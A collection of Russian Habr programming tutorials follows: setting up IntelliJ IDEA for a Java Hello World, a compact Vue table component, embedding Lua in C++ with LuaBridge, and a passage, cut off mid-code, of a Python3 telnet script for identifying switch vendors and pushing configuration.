Для начала нам нужно выбрать и среду разработки. Их довольно таки много, и самыми популярными из них являются: **IntelliJ IDEA**, **NetBeans**, **Eclipse**. Для себя я выбираю **IntelliJ IDEA**. Она является самой удобной на мой взгляд, и хоть она и платная, на официальном сайте можно найти бесплатную версию которая называется **Community**. Этой версии будет вполне достаточно для изучения основ Java. Вообщем будем работать в **IntelliJ IDEA.**
Итак, открываем браузер, в поисковой строке вводим "Download IntelliJ IDEA Community"или [переходим по этой ссылке](https://www.jetbrains.com/ru-ru/idea/download/). Выбираем версию ОС и качаем версию Community.
В установке **IntelliJ IDEA** нет ничего военного. [На крайний случай](https://youtu.be/YCnd0IAJHd4) на ютубе есть множество видео о том, как установить эту программу.
Первая программа
----------------
Теперь мы готовы создать нашу первую программу. В окошке запустившийся **IDE** нажимаем **New Project**.
В новом окошке в левой панели выбираем Java.
**Обратите внимание!** В верхнем окошке, справа, возле надписи **"Project SDK:"** должна находится версия **Java**, которую вы установили вместе с **JDK**. Если там пусто, то вам нужно будет указать путь к вашему **JDK** вручную. Для этого в выпадающем списке нажмите **"Add JDK..."** и укажите путь к вашему **JDK**, который был предварительно установлен.
Теперь можем нажать на кнопку **Next**. В следующем окошке, вверху, поставьте галочку **“Create project from template”** и выберите **“Command Line App”**. И снова нажимаем **Next**.
Дальше нам нужно указать имя программы. У меня это будет **Hello World**, желательно чтобы имя проекта было введено латиницей, и на английском языке.
*Примечание. Все программы, имена программ, принято писать на английском языке, и желательно придерживаться такого стиля, что является хорошим тоном в программировании.*
После указываем путь к проекту программы.
Далее, нам нужно указать базовый пакет нашей программы. О пакетах я расскажу вам позже, обычно компании используют свое имя Интернет-домена в обратном порядке, но вы можете написать, например, свои имя и фамилию через точку в нижнем регистре (маленькими буквами), тоже латиницей. Я же использую псевдоним. Когда все поля будут заполнены - нажимаем **“Finish”**.
После этого вы увидите главное окно **IDE**, в котором уже будет создана ваша первая, почти готовая консольная программа.
Это окно, то что вы будете видеть 80-90%, а иногда и 100% времени, работая программистом.
Для того чтобы закончить ваше первое приложение, останется добавить строчку кода System.***out***.print(**"Hello world!"**); как показано на скриншоте.
Чтобы скомпилировать и запустить на выполнение вашу программу, вам нужно нажать **кнопочку с зеленым треугольничком** на верхней панели справа, или в меню найти пункт **Run -> Run “Main”.** И внизу на нижней панели, под окном редактора, в консоли, вы увидите результат выполнения вашей программы. Вы увидите надпись **Hello World!** Поздравляю, вы написали свою первую программу на **Java**.
Разбираем первую программу
--------------------------
В своем первом приложении вы можете увидеть много непонятных символов и слов, но на данном этапе вы должны воспринять их как данность, позже, в следующих частях, я расскажу о каждом из них, и зачем они нужны. На данном этапе вам нужно понять что это стандартные составляющие любого **Java-приложения**, и в последующих приложениях эти компоненты будут изменяться минимально.
Пройдемся по порядку:
В начале мы видим `package com.zephyr.ventum;` - это объявление пакета, и это постоянный атрибут файлов с исходным кодом в **Java**. Простыми словами, это локация вашего файла в проекте и любой **.java** файл должен начинаться с подобной строки.
Ниже, `public class Main {` - это стандартное объявление класса в Java, где **public** - это **модификатор доступа** который дает программисту возможность управлять видимостью членов класса, **class** - является **ключевым словом** объявляющим класс, **Main** - это имя класса. Все определение класса и его членов должно располагаться между фигурными скобками { }. Классы мы рассмотрим немного позже, только скажу что в Java все действия программы выполняются только в пределах класса.
Ключевое слово - это слово зарезервированное языком программирования. Например, `package` - это тоже ключевое слово.
Еще ниже, `public static void main(String[] args) {` - эта строка является объявлением метода **main**. Метод (или часто говорят функция) main это точка входа в любой java-программер. Именно отсюда начинается выполнение вашего кода. В проекте может быть несколько методов **main**, но мы должны выбрать какой-то один для запуска нашей программы. В следующих статьях мы еще вернемся к этому. Сейчас же у нас только один метод **main.**
Фигурные скобки `{}` у метода **main** обозначаю начало и конец **тела метода**, весь код метода должен располагаться между этими скобками. Аналогичные скобки есть и у класса **Main**.
Следующая строка является `// write your code here` однострочным комментарием.
Комментарием является текст который игнорируется компилятором. По-этому с помощью комментариев вы можете оставлять в коде подсказки для себя и других, кто будет читать ваш код, или же для документирования вашего кода. Существует несколько видов комментариев, основными из них являются однострочный, и многострочный.
Многострочный комментарий будет выглядеть следующим образом:
```
/* write
your
code
here */
```
Мы просто располагаем несколько строк между символами `/*` и `*/`
`System.out.print("Hello world!");` - строка которая находится внутри метода **main** является командой, которая выводит в консоль строку **"Hello world!"**
Обратите внимание что в конце стоит точка с запятой, в языке **Java** команды должны заканчиваться точкой с запятой.
Затем мы закрываем тело нашего метода **main** `}` а также закрываем класс **Main** `}`.
На этом статья подходит к концу. Автором конкретно этого материала является [Егор](https://www.linkedin.com/in/yegor-logachev-0352a7109/) и все уменьшительно ласкательные формы слов сохранились в первозданном виде.
[В следующей статье](https://habr.com/ru/post/542424/) мы поговорим о типах данных в **Java**. | https://habr.com/ru/post/541696/ | null | ru | null |
# Пишем компонент — таблицу, не совсем обычным способом
Еще одна небольшая статейка попроще вдогонку. Расскажу, как я рисую таблицы во **Vue**.
Компонентов-таблиц для Vue наделано немало. С различными возможностями. И везде по-разному таблица собирается в **template** страницы или какого-то компонента.
В основном происходит это как-то так:
```
export default {
name: 'page',
data() {
return {
items: [
{ id: 1, name: 'Sony' } ,
{ id: 2, name: 'Apple' },
{ id: 3, name: 'Samsung' } ],
columns: [
{ prop: 'id', title: 'ID' },
{ prop: 'name', title: 'Name' } ]
}
}
}
```
Тут мы передаем в компонент **cmp-table** данные (**items**) и настройки колонок (**columns**). А сам компонент уже рендерит таблицу по этим настройкам.
Настройки бывают организованны по всякому. Просто отдельно настройки колонок или вообще все в кучу — настройки колонок, таблицы, каких-то действий и т.п.
Мне в таком подходе не нравится то, как организована настройка рендера колонок. Как их названий в шапке **thead** таблицы, так и самого содержимого колонок.
Этот функционал хочется видеть в самом **template**, там строить колонки (их содержимое и шапку). Так нагляднее и удобнее. Как по мне.
Такой подход, например, используется в самом популярном вроде на сегодняшний день сборнике компонентов — [Element](http://element.eleme.io).
Там это выглядит так:
```
export default {
name: 'page',
data() {
return {
tableData: [{
date: '2016-05-03',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles'
}, {
date: '2016-05-02',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles'
}, {
date: '2016-05-04',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles'
}]
}
}
}
```
Здесь все наглядно. Мы сразу представляем себе общий вид колонок и ячеек. А в компонент **el-table** передаем лишь данные и настройки самой таблицы.
И все бы ничего. Нравится мне в общем [Element](http://element.eleme.io). Но часто замечал, что их таблицы подтормаживают. Полез в их код. И офигел от того, как заморочисто там происходит рендер строк, ячеек и всего остального. Просто тонны кода. И стал я думать, как можно сделать построение таблицы так-же как у них, только проще. Намного проще.
Сейчас расскажу и покажу, что у меня получилось.
Сразу о том, что в итоге будет представлять собой наш компонент. Чтобы происходящее дальше проще понималось:
* построение колонок аналогично [Element (el-table)](http://element.eleme.io/#/en-US/component/table)
* возможность кастомизации вида ячеек
* очень мало кода
* и возможность расширения функционала без особых проблем
Состоять наша таблица будет из двух частей:
1. компонента **TableColumn** — с его помощью мы будем формировать вид шапки таблицы и ячеек
2. компонента **Table** — в нем будет все собираться и рендериться
#### Компонент TableColumn — или краткость наше все
**table-column.js**:
```
export default {
name: 'vu-table-column',
props: ['prop', 'title']
};
```
Это компонент **Vue** c именем **vu-table-column** и парой входящих параметров:
* **prop** — в него передаем наименование свойства строки переданных данных в таблицу.
* **title** — название этого свойства, которое будет отображаться в шапке таблицы.
Да — это все, что нам нужно, для реализации текущих требований к нашему компоненту. Дальше будет понятно, почему здесь все так просто.
#### Компонент Table — или зачем писать больше кода, если можно меньше
**table.js**
```
import './style.scss'
import { get } from 'lodash'
export default {
name: 'vu-table',
props: {
rows: {
type: Array,
required: true
}
},
methods: {
renderColumns(h, row, columnsOptions) {
return columnsOptions.map((column, index) => {
return h('td', { class: 'vu-table__tbody-td' }, [
column.scopedSlot ? column.scopedSlot({row, items: this.rows}) : row[column.prop]
])
})
}
},
render(h) {
const columnsOptions = this.$slots.default.filter(item => {
return (item.componentOptions && item.componentOptions.tag === 'vu-table-column')
}).map(column => {
return Object.assign({}, column.componentOptions.propsData, {
scopedSlot: get(column, 'data.scopedSlots.default')
}
)
})
const columnsHead = columnsOptions.map((column, index) => {
return h('th', { class: 'vu-table__thead-th', key: index}, column.title)
})
const rows = this.rows.map((row, index) => {
return h('tr', { key: index }, [ this.renderColumns(h, row, columnsOptions) ])
})
return h('table', { class: 'vu-table' }, [
h('thead', { class: 'vu-table__thead' }, [
h('tr', [ columnsHead ])
]),
h('tbody', { class: 'vu-table__tbody' }, [ rows ])
])
}
};
```
И пройдемся по коду.
```
import './style.scss'
import { get } from 'lodash'
export default {
name: 'vu-table',
props: {
rows: {
type: Array,
required: true
}
}
...
}
```
В начале импортируем стили таблицы.
И еще я тут использую **get**-функцию **lodash**-а. Это не обязательно. Она здесь чтобы код в итоге был короче.
Дальше входящий параметр **rows**, куда передаем наши данные, в виде массива строк.
Теперь по **render**-функции:
```
render(h) {
const columnsOptions = this.$slots.default.filter(item => {
return (item.componentOptions && item.componentOptions.tag === 'vu-table-column')
}).map(column => {
return Object.assign({}, column.componentOptions.propsData, {
scopedSlot: get(column, 'data.scopedSlots.default')
}
)
})
const columnsHead = columnsOptions.map((column, index) => {
return h('th', { class: 'vu-table__thead-th', key: index}, column.title)
})
const rows = this.rows.map((row, index) => {
return h('tr', { key: index }, [ this.renderColumns(h, row, columnsOptions) ])
})
return h('table', { class: 'vu-table' }, [
h('thead', { class: 'vu-table__thead' }, [
h('tr', [ columnsHead ])
]),
h('tbody', { class: 'vu-table__tbody' }, [ rows ])
])
}
```
В **columnOptions** мы формируем настройки наших колонок и ячеек.
Для этого сначала собираем, фильтруя, все элементы с тегом **vu-table-column** ( компонент **TableColumn**) из дефолтного слота (**this.$slots.default**) компонента **Table**.
Компонент **TableColumn** нам нужен пока только для того, чтобы передать настройки колонки удобным и наглядным образом. Вот почему в **TableColumn** нет **render**-функции. Потому-что мы не рендерим этот компонент. Только забираем данные.
И пробегаемся по массиву отфильтрованных **vu-table-column**, формируем массив объектов с входящими **props**-ами из **vu-table-column** и добавляем свойство **scopedSlot**. В нем будет храниться дефолтный [слот с ограниченной областью видимости](https://ru.vuejs.org/v2/guide/components.html#%D0%A1%D0%BB%D0%BE%D1%82%D1%8B-%D1%81-%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9-%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C%D1%8E-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8), если таковой передан в **vu-table-column** в template страницы. Представляет он собой функцию, которая рендерит содержимое этого слота. И в нее можно передать любые параметры, которые используются в шаблоне этого слота. Этот слот мы и будем использовать для кастомного вида ячеек.
Дальше собираем **columnsHead** (ячейки шапки таблицы) — пробегаемся по выше определенным настройкам колонок (**columnOptions**) выдергивая **title** — название колонки, которое мы передали в **vu-table-column**.
Формируем массив **rows** (собственно итоговых строк таблицы) — пробегаемся по нашим входящим **rows**, и в каждом элементе **tr** выводим ячейки с помощью метода **renderColumns**:
```
renderColumns(h, row, columnsOptions) {
return columnsOptions.map((column, index) => {
return h('td', { class: 'vu-table__tbody-td' }, [
column.scopedSlot ?
column.scopedSlot({row, items: this.rows}) : row[column.prop]
])
})
}
```
В метод мы передаем **h**-функцию (псевдоним функции **$createElement**, которая рендерит **vNode**), данные строки и массив настроек колонок **columnsOptions**.
И собираем массив ячеек, в которых рендерим:
* либо кастомный вид, если в настройках колонки есть слот с ограниченной видимостью, запуская функцию **scopedSlot** с параметрами **row** (содержащим объект строки) и **items** (данные, переданные в vu-table). Здесь мы можем передать все, что нам надо
* либо просто значение свойства с именем **column.prop** из строки **row**
> при рендере **массивов-елементов**, не забывайте каждому елементу присваивать параметр **key**. Иначе, при обновлении данных, могут возникнуть коллизии в отображаемых данных
И в конце **render**-функции выводим итоговую таблицу, с вставленными в нее ячейками шапки и отрендеренными строками.
Все!
Вот и весь код, для рисования ячеек и шапки.
Дальше уже можно прилеплять фильтрацию, скрытие/показ колонок, сортировку и все, что душа пожелает. Это уже следующая история. И будет в следующей статье. Дабы не писать бесконечные тексты.
И пример использования написанного компонента:
**example.vue**
```
**{{ row.id }}**
{{ row.rating }}
**Best choiсe!**
export default {
name: 'example-page',
data() {
return {
rows: [
{ id: 1,
name: 'Sony',
rating: 777 },
{ id: 2,
name: 'Apple',
rating: 555 },
{ id: 3,
name: 'Samsung',
rating: 333 }
]
}
}
};
```
Тут мы используем как обычные **title**, так и кастомный вид ячеек.
И в ячейках **Rating** мы, используя данные **items** (которые передали в функцию **scopedSlot** и содержащие входящий массив со строками) и значение свойства **rating** определяем, является ли текущая строка с наибольшим рейтингом. Если да, выводим жирным текстом 'Best choice!'
И готовый результат:
Вот такой компонент в итоге получился.
В данный момент я его пилю. Добавляю функционал. И в следующей статье опишу уже расширение возможностей. | https://habr.com/ru/post/350292/ | null | ru | null |
# Использовать Lua c С++ легче, чем вы думаете. Tutorial по LuaBridge
Данная статья — перевод моего [туториала](http://eliasdaler.wordpress.com/2014/07/18/using-lua-with-cpp-luabridge/), который я изначально писал на английском. Однако этот перевод содержит дополнения и улучшения по сравнению с оригиналом.
Туториал не требует знания Lua, а вот C++ нужно знать на уровне чуть выше базового, но сложного кода здесь нет.
Когда-то я написал [статью про использование Lua с C++ с помощью Lua C API](http://habrahabr.ru/post/197300/). В то время, как написать простой враппер для Lua, поддерживающий простые переменные и функции, не составляет особого труда, написать враппер, который будет поддерживать более сложные вещи (функции, классы, исключения, пространства имён), уже затруднительно.
Врапперов для использования Lua и C++ написано довольно много. С многими из них можно ознакомиться [здесь](http://lua-users.org/wiki/BindingCodeToLua).
Я протестировал многие из них, и больше всего мне понравился LuaBridge. В LuaBridge есть многое: удобный интерфейс, exceptions, namespaces и ещё много всего.
Но начнём по порядку, зачем вообще использовать Lua c С++?
#### Зачем использовать Lua?
##### Конфигурационные файлы. Избавление от констант, магических чисел и некоторых define'ов
Данные вещи можно делать и с помощью простых текстовых файлов, но они не так удобны в обращении. Lua позволяет использовать таблицы, математические выражения, комментарии, условия, системные функции и пр. Для конфигурационных файлов это бывает очень полезно.
Например, можно хранить данные в таком виде:
```
window = {
title = "Test project",
width = 800,
height = 600
}
```
Можно получать системные переменные:
```
homeDir = os.getenv("HOME")
```
Можно использовать математические выражения для задания параметров:
```
someVariable = 2 * math.pi
```
##### Скрипты, плагины, расширение функциональности программы
C++ может вызывать функции Lua, а Lua может вызывать функции C++. Это очень мощный функционал, позволяющий вынести часть кода в скрипты или позволить пользователям писать собственные функции, расширяющие функциональность программы. Я использую функции Lua для различных триггеров в игре, которую я разрабатываю. Это позволяет мне добавлять новые триггеры без рекомпиляции и создания новых функций и классов в C++. Очень удобно.
Немного о Lua. Lua — язык с лицензией MIT, которая позволяет использовать его как в некоммерческих, так и в коммерческих приложениях. Lua написан на C, поэтому Lua работает на большинстве ОС, что позволяет использовать Lua в кросс-платформенных приложениях без проблем.
#### Установка Lua и LuaBridge
Итак, приступим. Для начала скачайте [Lua](http://luabinaries.sourceforge.net/) и [LuaBridge](http://github.com/vinniefalco/LuaBridge)
Добавьте include папку Lua и сам LuaBridge в Include Directories вашего проекта
Также добавьте lua52.lib в список библиотек для линковки.
Создайте файл **script.lua** со следующим содержанием:
```
-- script.lua
testString = "LuaBridge works!"
number = 42
```
Добавьте **main.cpp** (этот код лишь для проверки того, что всё работает, объяснение будет чуть ниже):
```
// main.cpp
#include
#include
extern "C" {
# include "lua.h"
# include "lauxlib.h"
# include "lualib.h"
}
using namespace luabridge;
int main() {
lua\_State\* L = luaL\_newstate();
luaL\_dofile(L, "script.lua");
luaL\_openlibs(L);
lua\_pcall(L, 0, 0, 0);
LuaRef s = getGlobal(L, "testString");
LuaRef n = getGlobal(L, "number");
std::string luaString = s.cast();
int answer = n.cast();
std::cout << luaString << std::endl;
std::cout << "And here's our number:" << answer << std::endl;
}
```
Скомпилируйте и запустите программу. Вы должны увидеть следующее:
**LuaBridge works!
And here's our number:42**
**Примечание**: если программа не компилируется и компилятор жалуется на ошибку *“error C2065: ‘lua\_State’: undeclared identifier”* в файле **LuaHelpers.h**, то вам нужно сделать следующее:
1) Добавьте эти строки в начало файла LuaHelpers.h
```
extern "C" {
# include "lua.h"
# include "lauxlib.h"
# include "lualib.h"
}
```
2) Измените 460ую строку **Stack.h** с этого:
```
lua_pushstring (L, str.c_str(), str.size());
```
На это:
```
lua_pushlstring (L, str.c_str(), str.size());
```
Готово!
А теперь подробнее о том, как работает код.
Включаем все необходимые хэдеры:
```
#include
#include
extern "C" {
# include "lua.h"
# include "lauxlib.h"
# include "lualib.h"
}
```
Все функции и классы LuaBridge помещены в namespace luabridge, и чтобы не писать «luabridge» множество раз, я использую эту конструкцию (хотя её лучше помещать в те места, где используется сам LuaBridge)
```
using namespace luabridge;
```
Создаём lua\_State
```
lua_State* L = luaL_newstate();
```
Открываем наш скрипт. Для каждого скрипта не нужно создавать новый lua\_State, можно использовать один lua\_State для множества скриптов. При этом нужно учитывать коллизию переменных в глобальном нэймспейсе. Если в script1.lua и script2.lua будут объявлены переменные с одинаковыми именами, то могут возникнуть проблемы
```
luaL_dofile(L, "script.lua");
```
Открываем основные библиотеки Lua(io, math, etc.) и вызываем основную часть скрипта (т.е. если в скрипте были прописаны действия в глобальном нэймспейсе, то они будут выполнены)
```
luaL_openlibs(L);
lua_pcall(L, 0, 0, 0);
```
Создаём объект LuaRef, который может хранить себе всё, что может хранить переменная Lua: int, float, bool, string, table и т.д.
```
LuaRef s = getGlobal(L, "testString");
LuaRef n = getGlobal(L, "number");
```
Преобразовать LuaRef в типы C++ легко:
```
std::string luaString = s.cast();
int answer = n.cast();
```
#### Проверка и исправление ошибок
Но некоторые вещи могут пойти не так, и стоит производить проверку и обработку ошибок. Рассмотрим наиболее важные и часто встречающиеся ошибки
##### Что, если скрипт Lua не найден?
```
if (luaL_loadfile(L, filename.c_str()) ||
lua_pcall(L, 0, 0, 0)) {
... // скрипт не найден
}
```
##### Что, если переменная не найдена?
Переменная может быть не объявлена, либо её значение — nil. Это легко проверить с помощью функции isNil()
```
if (s.isNil()) {
std::cout << "Variable not found!" << std::endl;
}
```
Переменная не того типа, который мы ожидаем получить
Например, ожидается, что переменная имет тип string, тогда можно сделать такую проверку перед тем как делать каст:
```
if(s.isString()) {
luaString = s.cast();
}
```
#### Таблицы
Таблицы — это не просто массивы: таблицы — замечательная структура данных, которая позволяет хранить в них переменные Lua любого типа, другие таблицы и ставить ключи разных типов в соответствие значениям и переменным. Таблицы позволяют представлять и получать конфигурационные файлы в красивом и легкочитаемом виде.
Создайте **script.lua** с таким содержанием:
```
window = {
title = "Window v.0.1",
width = 400,
height = 500
}
```
Код на C++, позволяющий получить данные из этого скрипта:
```
LuaRef t = getGlobal(L, "window");
LuaRef title = t["title"];
LuaRef w = t["width"];
LuaRef h = t["height"];
std::string titleString = title.cast();
int width = w.cast();
int height = h.cast();
std::cout << titleString << std::endl;
std::cout << "width = " << width << std::endl;
std::cout << "height = " << height << std::endl;
```
Вы должны увидеть на экране следующее:
**Window v.0.1
width = 400
height = 500**
Как видите, можно получать различные элементы таблицы, используя оператор []. Можно писать короче:
```
int width = t["width"].cast();
```
Можно также изменять содержимое таблицы:
```
t["width"] = 300
```
Это не меняет значение в скрипте, а лишь значение, которое содержится в ходе выполнения программы. Т.е. происходит следующее:
```
int width = t["width"].cast(); // 400
t["width"] = 300
width = t["width"].cast(); // 300
```
Чтобы сохранить значение, нужно воспользоваться сериализацией таблиц(table serialization), но данный туториал не об этом.
Пусть теперь таблица выглядит так:
```
window = {
title = "Window v.0.1",
size = {
w = 400,
h = 500
}
}
```
Как можно получить значение **window.size.w**?
Вот так:
```
LuaRef t = getGlobal(L, "window");
LuaRef size = t["size"];
LuaRef w = size["w"];
int width = w.cast();
```
#### Функции
Давайте напишем простую функции на C++
```
void printMessage(const std::string& s) {
std::cout << s << std::endl;
}
```
И напишем вот это в скрипте на Lua:
```
printMessage("You can call C++ functions from Lua!")
```
Затем мы регистрируем функцию в C++
```
getGlobalNamespace(L).
addFunction("printMessage", printMessage);
```
**Примечание 1**: это нужно делать до вызова «luaL\_dofile», иначе Lua попытается вызвать необъявленную функцию
**Примечание 2**: Функции на C++ и Lua могут иметь разные имена
Данный код зарегистрировал функцию в глобальном namespace Lua. Чтобы зарегистрировать его, например, в namespace «game», нужно написать следующий код:
```
getGlobalNamespace(L).
beginNamespace("game")
.addFunction("printMessage", printMessage)
.endNamespace();
```
Тогда функцию printMessage в скриптах нужно будет вызывать данным образом:
```
game.printMessage("You can call C++ functions from Lua!")
```
Пространства имён в Lua не имеют ничего общего с пространствами имён C++. Они скорее используются для логического объединения и удобства.
Теперь вызовем функцию Lua из C++
```
-- script.lua
sumNumbers = function(a,b)
printMessage("You can still call C++ functions from Lua functions!")
return a + b
end
```
```
// main.cpp
LuaRef sumNumbers = getGlobal(L, "sumNumbers");
int result = sumNumbers(5, 4);
std::cout << "Result:" << result << std::endl;
```
Вы должны увидеть следующее:
**You can still call C++ functions from Lua functions!
Result:9**
Разве не замечательно? Не нужно указывать LuaBridge сколько и каких аргументов у функции, и какие значения она возвращает.
Но есть одно ограничение: у одной функции Lua не может быть более 8 аргументов. Но это ограничение легко обойти, передав таблицу, как аргумент.
Если вы передаёте в функцию больше аргументов, чем требуется, LuaBridge молча проигнорирует их. Однако, если что-то пойдёт не так, то LuaBridge сгенерирует исключение LuaException. Не забудьте словить его! Поэтому рекомендуется окружать код блоками try/catch
Вот полный код примера с функциями:
```
-- script.lua
printMessage("You can call C++ functions from Lua!")
sumNumbers = function(a,b)
printMessage("You can still call C++ functions from Lua functions!")
return a + b
end
```
```
// main.cpp
#include
#include
extern "C" {
# include "lua.h"
# include "lauxlib.h"
# include "lualib.h"
}
using namespace luabridge;
void printMessage(const std::string& s) {
std::cout << s << std::endl;
}
int main() {
lua\_State\* L = luaL\_newstate();
luaL\_openlibs(L);
getGlobalNamespace(L).addFunction("printMessage", printMessage);
luaL\_dofile(L, "script.lua");
lua\_pcall(L, 0, 0, 0);
LuaRef sumNumbers = getGlobal(L, "sumNumbers");
int result = sumNumbers(5, 4);
std::cout << "Result:" << result << std::endl;
system("pause");
}
```
#### Что? Есть ещё что-то?
Да. Есть ещё несколько замечательных вещей, о которых я напишу в последующих частях туториала: классы, создание объектов, срок жизни объектов… Много всего!
Также рекомендую прочитать [этот dev log](http://eliasdaler.wordpress.com/2014/07/13/recreation-week-1/), в котором я рассказал о том, как использую скрипты в своей игре, практические примеры всегда полезны. | https://habr.com/ru/post/237503/ | null | ru | null |
# Python3. Автоматизация конфигурации мультивендорного сетевого оборудования
#### Предисловие
Всем доброго времени суток!
Работаю сетевым инженером у крупного оператора связи, и под моим управлением имеется целый зоопарк разного сетевого оборудования, но речь пойдет о коммутаторах доступа.
Данная статья это не руководство к действию, не единственное решение и явно не претендует на номинацию скрипт года, но я хочу поделиться этим творением, и может быть кому-нибудь он пригодится.
В статье будет приводиться блок кода под спойлером, а под ним будет описание с вырезками и объяснениями почему именно так и для чего это.
#### Задача
Использовать именно python3. Скрипт должен уметь попадать на коммутаторы из списка, определять что за вендор, давать требуемую команду, логировать.
#### Собственно как я к этому пришел
Столкнулся с небольшой проблемой по изменению конфигурации на большом количестве коммутаторов, сразу оговорюсь системы централизованного администрирования сетевого оборудования у нас есть, куча наработок моих коллег в виде скриптов для облегчение ручного труда тоже имеется, в основном bash, perl.
Но для меня было важно сделать что-то свое, т.к. изучать python я начал недавно и нужно прокачивать скил в программировании, и мой инструмент должен быть похож на молоток (прост в использовании, и легок в обслуживании). Если интерес до сих пор остался тогда прошу под кат.
Погуглив и не найдя должного решения (как бы на форумах этот вопрос поднимался, но там всё не то ), решил приступить к написанию собственного скрипта.
Имеем следующие коммутаторы:
* Raisecom
* Qtech rev. 1.0
* Qtech rev. 2.0 (отличие в синтаксисе)
* Eltex
* D-link
* Порождение Франкенштейна коммутатор с мордой от Qtech rev 1.0, а железо от Raisecom будем звать его ROS
Для начала импортируем требуемые библиотеки:
```
import telnetlib
import time
import os
import sys
import getpass
import pexpect
from telnetlib import Telnet
import datetime
import subprocess
```
Первоначально опишем функцию определения вендора, т.к. решил использовать два метода:
1) предположить — что это за вендор (по приглашению ввода логина) как я заметил у всех он разный: Qtech (login:), Raisecom и ROS (Login:), Eltex(User Name:), D-link(Username).
2) после того как залогинился — убедиться, что первый пункт выполнился без ошибки, и для более лучшего выявления на каком коммутаторе мы находимся.
**Функция**
```
def who_is():
#обьявляем глобальные переменные
global ver_status
global sab_versus
global versus
sab_versus=''
ver_status=''
versus=''
#Ключевые слова
a = 'Serial No.:1405' # #qtech rev1
d = 'Command: show switch' # #d-link
f = 'Raisecom Operating System Software' # #raisecom
h = 'QOS' # #raisecom-qtech
j = 'MES1124M' # #eltex
k = 'eltex' # #eltex
n = 'Build245' #qtech2.0
parser=open('servers_&_log/ver.txt', 'r') #открываем файл
for line in parser.readlines():
line1 = line.find(a)
line4 = line.find(d)
line5 = line.find(f)
line6 = line.find(h)
line7 = line.find(j)
line8 = line.find(k)
line10 = line.find(n)
if line1 != -1:
ver_status='qtech_rev_1.0'
if line4 != -1:
ver_status='d-link'
if line5 != -1:
ver_status='raisecom'
if line6 != -1:
ver_status='raisecom-qtech'
sab_versus=1
if line7 !=-1:
ver_status='eltex'
if line8 !=-1:
ver_status='eltex'
if line10 != -1:
ver_status = 'qtech_rev_2.0'
time.sleep(0.1)
parser.close()
os.remove('servers_&_log/ver.txt')
return ver_status,sab_versus
```
Вся функция под спойлером. Объявляем глобальные переменные, которые будут видны всему скрипту:
```
global ver_status
global sab_versus
global versus
```
переменные a,d,f,h,j,k,n хранят ключевые слова, по которым мы в последствии будем определять модель коммутатора.
```
a = 'Serial No.:1405' # #qtech rev1
d = 'Command: show switch' # #d-link
f = 'Raisecom Operating System Software' # #raisecom
h = 'QOS' # #raisecom-qtech
j = 'MES1124M' # #eltex
k = 'eltex' # #eltex
n = 'Build245' #qtech2.0
```
После открытия файла ver.txt считываем построчно и проверяем на вхождение по ключевым словам, т.к. функция find() возвращает при отрицательном результате -1 по этой логике мы и будем строить ветвления.
```
parser=open('servers_&_log/ver.txt', 'r') #открываем файл
for line in parser.readlines():
line1 = line.find(a)
line4 = line.find(d)
line5 = line.find(f)
line6 = line.find(h)
line7 = line.find(j)
line8 = line.find(k)
line10 = line.find(n)
if line1 != -1:
ver_status='qtech_rev_1.0'
```
…
привожу в пример часть кода, остальное под спойлером выше.
Наполнение данного файла будет описано ниже. После всех манипуляций и определения вендора удаляем файл ver.txt.
**Объявление основных переменных, тело основного цикла**
```
user='user'
password='password'
komm=open('servers_&_log/komm.txt')
log=open('servers_&_log/log.txt','a')
#########счетчики
counter_komm=0
counter_dlink=0
counter_qtech=0
counter_eltex=0
counter_raisecom=0
counter_ROS=0
counter_qtech1_0=0
counter_qtech2_0=0
##########
for host in komm.readlines():
print('connect....',host)
vend = ''
response = os.system('ping -c 1 ' + host)
verinfo = open('servers_&_log/ver.txt', 'w')
ver_status = ''
sab_versus = ''
if response == 0:
telnet = pexpect.spawn('telnet ' + host,timeout=40)
vend = telnet.expect(['login:', 'Login:', 'User Name:', 'Username'])
telnet.close()
tn = Telnet(host.replace('\n', ''), 23,30)
try:
print('Ok'+'\n')
tn.read_until(b':')
tn.write((user +'\n').encode('ascii'))
tn.read_until(b':')
tn.write((password + '\n').encode('ascii'))
time.sleep(3)
tn.read_until(b'#',timeout=20)
except:
print('connection refused' + '\n')
f = open('servers_&_log/log.txt', 'a')
print(host, 'connection refused', file=log)
print('#' * 100, host, file=log)
###БЛОК ОПРЕДЕЛЕНИЯ ВЕНДОРА
#########################################################
if vend == 0:# предположительно что это Qtech
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
...
```
Решил не заморачиваться и в теле задать переменные с логином и паролем, знаю что не секьюрно, я работаю над этим.
Открываем файл для логов и список коммутаторов
```
komm=open('servers_&_log/komm.txt')
log=open('servers_&_log/log.txt','a')
```
После используем цикл for, считываем строку с ip-адресом коммутатора
```
for host in komm.readlines():
print('connect....',host)
vend = ''
```
Проверяем его на доступность
```
response = os.system('ping -c 1 ' + host)
```
Если он доступен при помощи библиотеки pexpect, делаем попытку подключения по telnet вот на этой итерации и происходит первая проверка по приглашению, о которой между прочим я писал в начале.
```
if response == 0:
telnet = pexpect.spawn('telnet ' + host,timeout=40)
vend = telnet.expect(['login:', 'Login:', 'User Name:', 'Username'])
telnet.close()
tn = Telnet(host.replace('\n', ''), 23,30)
```
Переменная vend получит значение от 0 до 3 включительно, а в зависимости от того, какое приглашение входа увидит — будет формироваться дальнейшее ветвление.
Из данного куска кода внимательный читатель может заметить, что я делаю подключение к коммутатору и сразу закрываю соединение, и это не спроста. Я пытался использовать только библиотеку telnetlib, но на первой проверке скрипт периодически залипал и отваливался по таймауту, а данный костыль неплохо выручает.
После закрытия подключения мы делаем повторное подключение только используя уже библиотеку telnetlib.
Чтобы избежать вываливание ошибок, а выше мы уже проверили что коммутатор доступен, и исключить прерывание скрипта в процессе работы из-за одного неработающего коммутатора обернем все в блок try except.
Были неоднократные случаи когда из 100 коммутаторов один на себя не пускал.
```
try:
print('Ok'+'\n')
tn.read_until(b':')
tn.write((user +'\n').encode('ascii'))
tn.read_until(b':')
tn.write((password + '\n').encode('ascii'))
time.sleep(3)
tn.read_until(b'#',timeout=20)
except:
print('connection refused' + '\n')
f = open('servers_&_log/log.txt', 'a')
